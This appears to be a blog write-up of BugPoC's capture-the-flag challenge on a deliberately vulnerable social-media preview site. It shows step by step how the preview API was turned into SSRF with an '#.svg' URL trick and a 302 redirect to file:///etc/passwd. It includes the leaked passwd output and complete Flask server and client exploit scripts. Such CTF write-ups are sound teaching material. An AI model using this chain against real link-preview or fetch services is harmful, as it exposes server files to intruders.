BugPoC's LFI challenge writeup




Buggy Social Media sharer

Given a website : http://social.buggywebsite.com/
The Goal of the challenge is to achieve LFI and steal /etc/passwd
It's a striaght forwarding challenge, by going through the Js, we can see URL card generating functionality
function processUrl(e) {
    requestTime = Date.now(), url = "https://api.buggywebsite.com/website-preview";
    var t = new XMLHttpRequest;
    t.onreadystatechange = function() {
        4 == t.readyState && 200 == t.status ? (response = JSON.parse(t.responseText), populateWebsitePreview(response)) : 4 == t.readyState && 200 != t.status && (console.log(t.responseText), document.getElementById("website-preview").style.display = "none")
    }, t.open("POST", url, !0), t.setRequestHeader("Content-Type", "application/json; charset=UTF-8"), t.setRequestHeader("Accept", "application/json"), data = {
        url: e,
        requestTime: requestTime
    }, t.send(JSON.stringify(data))
}
JavaScript

we can send a link to api server for website priview, which might become a SSRF.
For testing used ngrok, Flask server.
For sending the link to api sever, and checking the result.
from requests import *
import json

def send_to_server(url)
	data = {'url': url, 'requestTime': 1600626399730}
	link = "https://api.buggywebsite.com/website-preview"
	res = post(link, json=data).json()
	print(json.dumps(res, indent = 4)) 

url = "https://83f09872705f.ngrok.io/" #url for web preview
send_to_server(url)
Python
By Giving a normal URL , with empty content.
{
    "title": "",
    "description": "",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io"
}
JavaScript
It's Sending the og data in reverse. Need to check how it deals with.
Changed the HTMl content of server side with ogdata
<html>
<head>
	<meta property="og:title" content="Test title">
	<meta property="og:description" content="Test content">
	<meta property="og:image" content="https://www.gettyimages.in/gi-resources/images/500px/983794168.jpg">
	<title>Test title456</title>
</head>
<body></body>
</html>
HTML
Which results in
{
    "title": "Test title",
    "description": "Test content",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io",
    "image": {
        "content": "/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP........",
        "encoded": true,
        "mimetype": "image/jpeg"
    }
}
JavaScript
The API server is fetching the url in og:image, sending it's content (base64 encoded).
Now it makes sense, we some how manage to expliot this funtionality to return `/etc/passwd` content.


Observation - 1

Placed `og:image` = `file:///etc/passwd`.
{
    "title": "Test title",
    "description": "Test content",
    "requestTime": 1600626399730,
    "domain": "83f09872705f.ngrok.io",
    "image": {
        "error": "Invalid Image URL"
    }
}
JavaScript
The URL must `http://` or `https://`.

Observation - 2

Placed og:image = https://OUR-SERVER/image. Still the Invalid URL error. placed a .png at the end. worked. We need to place an image extension at the end on URL. We can use #.png to overcome the check.

Observation - 3

Testing with custom image route.
@app.route('/image',methods = ['GET'])  
def image():
	return "Nice"

@app.route("/meta-data")
def meta_data():
	return '''
<html>
<head>
	<meta property="og:title" content="Test title">
	<meta property="og:description" content="Test content">
	<meta property="og:image" content="https://%s/image#.png">
	<title>Test title456</title>
</head>
<body></body>
</html>
'''%DOMAIN
Python
Which results in
    "image": {
        "error": "Image Failed HEAD Test"
    }
JavaScript
In the server log found "HEAD /image HTTP/1.1" 200 -. The server is checking the headers using HEAD method, may be checking content type header.


Observation - 4

So added the content-type: image/png in response headers.
@app.route('/image',methods = ['GET'])  
def image():
	resp = Response("Nice")
	resp.headers['content-type'] = 'image/png'
	return resp
Python
Which results in
    "image": {
        "error": "Unable to Process Image"
    }
JavaScript
The Server log
"GET /meta-data HTTP/1.1" 200 -
"HEAD /image HTTP/1.1" 302 -
"GET /image HTTP/1.1" 200 -
Python
HEAD check succeded, then fetched the image (GET), Processed it somehow based on image extension.
We need to bypass it, As is based on image extension. We can check all image extenstions.


Observation - 5

By gone through checking extesions, .svg worked for me.
    "image": {
        "content": "Nice",
        "encoded": false,
        "mimetype": "image/svg+xml"
    }
JavaScript
Now we achived a proper SSRF, we can fetch any URL from server side.

Observation - 6

After SSRF, checked all possibilities like cloud meta data urls, any ports on localhost.
But no use
Then checked if an redirect is possible for fetching the image.
@app.route('/landing',methods = ['GET'])
def landing():
	return "Redirection Worked"

@app.route('/image',methods = ['GET'])  
def image():
	resp = Response("Nice", 302)
	resp.headers['content-type'] = 'image/png'
	resp.headers['location'] = '/landing'
	return resp
Python
Which results in
    "image": {
        "content": "Redirection Worked",
        "encoded": false,
        "mimetype": "image/svg+xml"
    }
JavaScript


Finally

Tried to redirect it to file:///etc/passwd. It worked. :)
{
"title": "Test title",
"description": "Test content",
"requestTime": 1600626399730,
"domain": "83f09872705f.ngrok.io",
"image": {
"content": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nlibstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nec2-instance-connect:x:998:996::/home/ec2-instance-connect:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nchrony:x:997:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash\nslicer:x:996:993::/tmp:/sbin/nologin\nsb_logger:x:995:992::/tmp:/sbin/nologin\nsbx_user1051:x:994:991::/home/sbx_user1051:/sbin/nologin\nsbx_user1052:x:993:990::/home/sbx_user1052:/sbin/nologin\nsbx_user1053:x:992:989::/home/sbx_user1053:/sbin/nologin\nsbx_user1054:x:991:988::/home/sbx_user1054:/sbin/nologin\nsbx_user1055:x:990:987::/home/sbx_user1055:/sbin/nologin\nsbx_user1056:x:989:986::/home/sbx_user1056:/sbin/nologin\nsbx_user1057:x:988:985::/home/sbx_user1057:/sbin/nologin\nsbx_user1058:x:987:984::/home/sbx_user1058:/sbin/nologin\nsbx_user1059:x:986:983::/home/sbx_user1059:/sbin/nologin\nsbx_user1060:x:985:982::/home/sbx_user1060:/sbin/nologin\nsbx_user1061:x:984:981::/home/sbx_user1061:/sbin/nologin\nsbx_user1062:x:983:980::/home/sbx_user1062:/sbin/nologin\nsbx_user1063:x:982:979::/home/sbx_user1063:/sbin/nologin\nsbx_user1064:x:981:978::/home/sbx_user1064:/sbin/nologin\nsbx_user1065:x:980:977::/home/sbx_user1065:/sbin/nologin\nsbx_user1066:x:979:976::/home/sbx_user1066:/sbin/nologin\nsbx_user1067:x:978:975::/home/sbx_user1067:/sbin/nologin\nsbx_user1068:x:977:974::/home/sbx_user1068:/sbin/nologin\nsbx_user1069:x:976:973::/home/sbx_user1069:/sbin/nologin\nsbx_user1070:x:975:972::/home/sbx_user1070:/sbin/nologin\nsbx_user1071:x:974:971::/home/sbx_user1071:/sbin/nologin\nsbx_user1072:x:973:970::/home/sbx_user1072:/sbin/nologin\nsbx_user1073:x:972:969::/home/sbx_user1073:/sbin/nologin\nsbx_user1074:x:971:968::/home/sbx_user1074:/sbin/nologin\nsbx_user1075:x:970:967::/home/sbx_user1075:/sbin/nologin\nsbx_user1076:x:969:966::/home/sbx_user1076:/sbin/nologin\nsbx_user1077:x:968:965::/home/sbx_user1077:/sbin/nologin\nsbx_user1078:x:967:964::/home/sbx_user1078:/sbin/nologin\nsbx_user1079:x:966:963::/home/sbx_user1079:/sbin/nologin\nsbx_user1080:x:965:962::/home/sbx_user1080:/sbin/nologin\nsbx_user1081:x:964:961::/home/sbx_user1081:/sbin/nologin\nsbx_user1082:x:963:960::/home/sbx_user1082:/sbin/nologin\nsbx_user1083:x:962:959::/home/sbx_user1083:/sbin/nologin\nsbx_user1084:x:961:958::/home/sbx_user1084:/sbin/nologin\nsbx_user1085:x:960:957::/home/sbx_user1085:/sbin/nologin\nsbx_user1086:x:959:956::/home/sbx_user1086:/sbin/nologin\nsbx_user1087:x:958:955::/home/sbx_user1087:/sbin/nologin\nsbx_user1088:x:957:954::/home/sbx_user1088:/sbin/nologin\nsbx_user1089:x:956:953::/home/sbx_user1089:/sbin/nologin\nsbx_user1090:x:955:952::/home/sbx_user1090:/sbin/nologin\nsbx_user1091:x:954:951::/home/sbx_user1091:/sbin/nologin\nsbx_user1092:x:953:950::/home/sbx_user1092:/sbin/nologin\nsbx_user1093:x:952:949::/home/sbx_user1093:/sbin/nologin\nsbx_user1094:x:951:948::/home/sbx_user1094:/sbin/nologin\nsbx_user1095:x:950:947::/home/sbx_user1095:/sbin/nologin\nsbx_user1096:x:949:946::/home/sbx_user1096:/sbin/nologin\nsbx_user1097:x:948:945::/home/sbx_user1097:/sbin/nologin\nsbx_user1098:x:947:944::/home/sbx_user1098:/sbin/nologin\nsbx_user1099:x:946:943::/home/sbx_user1099:/sbin/nologin\nsbx_user1100:x:945:942::/home/sbx_user1100:/sbin/nologin\nsbx_user1101:x:944:941::/home/sbx_user1101:/sbin/nologin\nsbx_user1102:x:943:940::/home/sbx_user1102:/sbin/nologin\nsbx_user1103:x:942:939::/home/sbx_user1103:/sbin/nologin\nsbx_user1104:x:941:938::/home/sbx_user1104:/sbin/nologin\nsbx_user1105:x:940:937::/home/sbx_user1105:/sbin/nologin\nsbx_user1106:x:939:936::/home/sbx_user1106:/sbin/nologin\nsbx_user1107:x:938:935::/home/sbx_user1107:/sbin/nologin\nsbx_user1108:x:937:934::/home/sbx_user1108:/sbin/nologin\nsbx_user1109:x:936:933::/home/sbx_user1109:/sbin/nologin\nsbx_user1110:x:935:932::/home/sbx_user1110:/sbin/nologin\nsbx_user1111:x:934:931::/home/sbx_user1111:/sbin/nologin\nsbx_user1112:x:933:930::/home/sbx_user1112:/sbin/nologin\nsbx_user1113:x:932:929::/home/sbx_user1113:/sbin/nologin\nsbx_user1114:x:931:928::/home/sbx_user1114:/sbin/nologin\nsbx_user1115:x:930:927::/home/sbx_user1115:/sbin/nologin\nsbx_user1116:x:929:926::/home/sbx_user1116:/sbin/nologin\nsbx_user1117:x:928:925::/home/sbx_user1117:/sbin/nologin\nsbx_user1118:x:927:924::/home/sbx_user1118:/sbin/nologin\nsbx_user1119:x:926:923::/home/sbx_user1119:/sbin/nologin\nsbx_user1120:x:925:922::/home/sbx_user1120:/sbin/nologin\nsbx_user1121:x:924:921::/home/sbx_user1121:/sbin/nologin\nsbx_user1122:x:923:920::/home/sbx_user1122:/sbin/nologin\nsbx_user1123:x:922:919::/home/sbx_user1123:/sbin/nologin\nsbx_user1124:x:921:918::/home/sbx_user1124:/sbin/nologin\nsbx_user1125:x:920:917::/home/sbx_user1125:/sbin/nologin\nsbx_user1126:x:919:916::/home/sbx_user1126:/sbin/nologin\nsbx_user1127:x:918:915::/home/sbx_user1127:/sbin/nologin\nsbx_user1128:x:917:914::/home/sbx_user1128:/sbin/nologin\nsbx_user1129:x:916:913::/home/sbx_user1129:/sbin/nologin\nsbx_user1130:x:915:912::/home/sbx_user1130:/sbin/nologin\nsbx_user1131:x:914:911::/home/sbx_user1131:/sbin/nologin\nsbx_user1132:x:913:910::/home/sbx_user1132:/sbin/nologin\nsbx_user1133:x:912:909::/home/sbx_user1133:/sbin/nologin\nsbx_user1134:x:911:908::/home/sbx_user1134:/sbin/nologin\nsbx_user1135:x:910:907::/home/sbx_user1135:/sbin/nologin\nsbx_user1136:x:909:906::/home/sbx_user1136:/sbin/nologin\nsbx_user1137:x:908:905::/home/sbx_user1137:/sbin/nologin\nsbx_user1138:x:907:904::/home/sbx_user1138:/sbin/nologin\nsbx_user1139:x:906:903::/home/sbx_user1139:/sbin/nologin\nsbx_user1140:x:905:902::/home/sbx_user1140:/sbin/nologin\nsbx_user1141:x:904:901::/home/sbx_user1141:/sbin/nologin\nsbx_user1142:x:903:900::/home/sbx_user1142:/sbin/nologin\nsbx_user1143:x:902:899::/home/sbx_user1143:/sbin/nologin\nsbx_user1144:x:901:898::/home/sbx_user1144:/sbin/nologin\nsbx_user1145:x:900:897::/home/sbx_user1145:/sbin/nologin\nsbx_user1146:x:899:896::/home/sbx_user1146:/sbin/nologin\nsbx_user1147:x:898:895::/home/sbx_user1147:/sbin/nologin\nsbx_user1148:x:897:894::/home/sbx_user1148:/sbin/nologin\nsbx_user1149:x:896:893::/home/sbx_user1149:/sbin/nologin\nsbx_user1150:x:895:892::/home/sbx_user1150:/sbin/nologin\nsbx_user1151:x:894:891::/home/sbx_user1151:/sbin/nologin\nsbx_user1152:x:893:890::/home/sbx_user1152:/sbin/nologin\nsbx_user1153:x:892:889::/home/sbx_user1153:/sbin/nologin\nsbx_user1154:x:891:888::/home/sbx_user1154:/sbin/nologin\nsbx_user1155:x:890:887::/home/sbx_user1155:/sbin/nologin\nsbx_user1156:x:889:886::/home/sbx_user1156:/sbin/nologin\nsbx_user1157:x:888:885::/home/sbx_user1157:/sbin/nologin\nsbx_user1158:x:887:884::/home/sbx_user1158:/sbin/nologin\nsbx_user1159:x:886:883::/home/sbx_user1159:/sbin/nologin\nsbx_user1160:x:885:882::/home/sbx_user1160:/sbin/nologin\nsbx_user1161:x:884:881::/home/sbx_user1161:/sbin/nologin\nsbx_user1162:x:883:880::/home/sbx_user1162:/sbin/nologin\nsbx_user1163:x:882:879::/home/sbx_user1163:/sbin/nologin\nsbx_user1164:x:881:878::/home/sbx_user1164:/sbin/nologin\nsbx_user1165:x:880:877::/home/sbx_user1165:/sbin/nologin\nsbx_user1166:x:879:876::/home/sbx_user1166:/sbin/nologin\nsbx_user1167:x:878:875::/home/sbx_user1167:/sbin/nologin\nsbx_user1168:x:877:874::/home/sbx_user1168:/sbin/nologin\nsbx_user1169:x:876:873::/home/sbx_user1169:/sbin/nologin\nsbx_user1170:x:875:872::/home/sbx_user1170:/sbin/nologin\nsbx_user1171:x:874:871::/home/sbx_user1171:/sbin/nologin\nsbx_user1172:x:873:870::/home/sbx_user1172:/sbin/nologin\nsbx_user1173:x:872:869::/home/sbx_user1173:/sbin/nologin\nsbx_user1174:x:871:868::/home/sbx_user1174:/sbin/nologin\nsbx_user1175:x:870:867::/home/sbx_user1175:/sbin/nologin\nsbx_user1176:x:869:866::/home/sbx_user1176:/sbin/nologin\n",
"encoded": false,
"mimetype": "image/svg+xml"
}
}
view raw output.json hosted with ❤ by GitHub

Payload

Server script :
from flask import *
app = Flask(__name__)
@app.route('/image',methods = ['GET'])
def image():
resp = Response("Nice", 302)
resp.headers['content-type'] = 'image/png'
resp.headers['location'] = 'file:///etc/passwd'
return resp
@app.route("/meta-data")
def meta_data():
return '''
<html>
<head>
<meta property="og:title" content="Test title">
<meta property="og:description" content="Test content">
<meta property="og:image" content="https://%s/image#.svg">
<title>Test title456</title>
</head>
<body></body>
</html>
'''%DOMAIN
@app.route("/")
def home():
return "Hello"
DOMAIN = '' # Server address
if __name__ == '__main__':
app.run(debug=True)
view raw server.py hosted with ❤ by GitHub

Client script
from requests import *
import json
def send_to_server(url):
data = {'url': url, 'requestTime': 1600626399730}
link = "https://api.buggywebsite.com/website-preview"
res = post(link, json=data).json()
print(json.dumps(res, indent = 4))
DOMAIN = '' # Server Address
url = "https://%s/meta-data"
send_to_server(url)
view raw client.py hosted with ❤ by GitHub


Thanks for reading !...

Comments

Popular posts from this blog

Square CTF 2019 Writeup's

K3RN3L CTF 2021 Rev - `Recurso & Rasm ` writeups

Confidence CTF 2020 `Cat web` challenge writeup